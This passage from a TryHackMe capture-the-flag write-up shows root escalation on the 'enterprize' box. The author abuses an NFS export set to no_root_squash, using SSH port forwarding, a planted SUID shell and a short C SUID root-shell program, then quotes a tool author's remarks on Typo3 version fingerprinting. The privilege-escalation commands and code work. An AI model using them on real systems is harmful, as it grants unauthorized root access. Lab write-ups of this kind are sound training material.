LISTEN 0 64 0.0.0.0:2049 0.0.0.0:*
LISTEN 0 64 0.0.0.0:32773 0.0.0.0:*
LISTEN 0 128 0.0.0.0:37093 0.0.0.0:*
LISTEN 0 128 [::]:111 [::]:*
LISTEN 0 128 *:80 *:*
...
john@enterprize:~$ showmount -e 127.0.0.1
Export list for 127.0.0.1:
/var/nfs localhost
Interestingly there is a NFS service (port 2049) running locally.
Let's make a local port forwarding to inspect it.
$ ssh -i ~/.ssh/id_ed25519 john@enterprize.thm -N -L 2049:127.0.0.1:2049
As recommended on HackTricks
we can read /etc/exports
to see how NFS is configured.
john@enterprize:~$ grep -v '#' /etc/exports
/var/nfs localhost(insecure,rw,sync,no_root_squash,no_subtree_check)
As explained here
with no_root_squash
we'll have access to the files on the NFS as root.
Let's mount the share and copy a SUID shell in it.
$ mkdir nfs
$ sudo mount -t nfs 127.0.0.1:/var/nfs nfs/
$ sudo su
$ cp /bin/sh nfs
$ chmod +s nfs/sh
$ exit
$ sudo umount -f 127.0.0.1:/var/nfs
But it didn't work executing /var/nfs/sh -p
because of incomptability
with versions of shared libraries. So instead I'll copy the /bin/sh
from
the system.
$ scp -i ~/.ssh/id_ed25519 john@enterprize.thm:/bin/sh .
$ sudo mount -t nfs 127.0.0.1:/var/nfs nfs/
$ sudo su
$ mv sh nfs/sh
$ chmod +s nfs/sh
$ exit
Note: do not unmount the share from your host as doing it removes the SUID bits,
you must have the share mounted while executing a binary from the target.
Another way to do it is to create a C SUID binary:
int main (){
setuid ( 0 );
setgid ( 0 );
system ( "/bin/bash" );
return 0 ;
}
$ sudo mount -t nfs 127.0.0.1:/var/nfs nfs/
$ sudo su
$ gcc -static suid.c -o nfs/eop
$ chmod u+s nfs/eop
john@enterprize:/var/nfs$ ./sh -p
# id
uid=1000(john) gid=1000(john) euid=0(root) groups=1000(john),4(adm),24(cdrom),30(dip),46(plugdev),1001(blocked)
# cat /root/root.txt
THM{edited}
# exit
john@enterprize:/var/nfs$ ./eop
root@enterprize:/var/nfs# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),46(plugdev),1000(john),1001(blocked)
root@enterprize:/var/nfs# exit
About Typo3Scan
whoot , the author of Typo3Scan , spotted that I made a wrong assumption about his tool and was kind enough to share it's analysis that is quoted below.
Hello there, nice writeup!
I noticed that you used my tool (Typo3Scan) for enumeration and wondered why it was not possible to identify the exact version, but WhatWeb was.
Here is why:
Both tools use a database with MD5 hashes of various accessible files of a Typo3 installation.
While I keep the database of Typo3Scan up to date and actually verify the data and delete duplicates, WhatWeb does not. The dataset in WhatWeb is from 2021 and the most current Typo3 version in there is 11.1.
Some guys simply calculated the MD5 hash for the file 'typo3/sysext/backend/Resources/Public/JavaScript/LoginRefresh.js' and published the data into the WhatWeb repo without even looking into the data.
If you actually looked into the data (https://github.com/urbanadventurer/WhatWeb/blob/master/plugins/typo3.rb ), you would have noticed that the same hash is referenced for different versions.
In your case WhatWeb identified version 9.5.22 and the MD5 hash of the LoginRefresh.js is '320db84396f6064c1d956ce156bc4ab9'.
However, this is also the case for 9.5.23 and 9.5.24 and WhatWeb just used the first one.
Its even worse for hash '8d6eb428cdb6a55304eb500ea1975e7c', which is present 7 times and is the hash for 9.5.15 to 9.5.21.
Since Typo3Scan database does not contain duplicates, the tool was not able to identify the exact version, but only the main branch (9.5).
It would be interesting to see which version was actually installed on the TryHackMe box to verify this assumption.
The advisory TYPO3-CORE-SA-2020-007 should have been listed by Typo3Scan, because all vulnerabilities of the branch 9.5 were shown. Maybe you overlooked it, because you filtered for vulnerabilities affecting 9.5.22.
Best regards,
Whoot
P. S.: Typo3Scan supports the output of all vulnerbilities for a given version. You could have used the following:
python3 typo3scan.py --core 9.5.22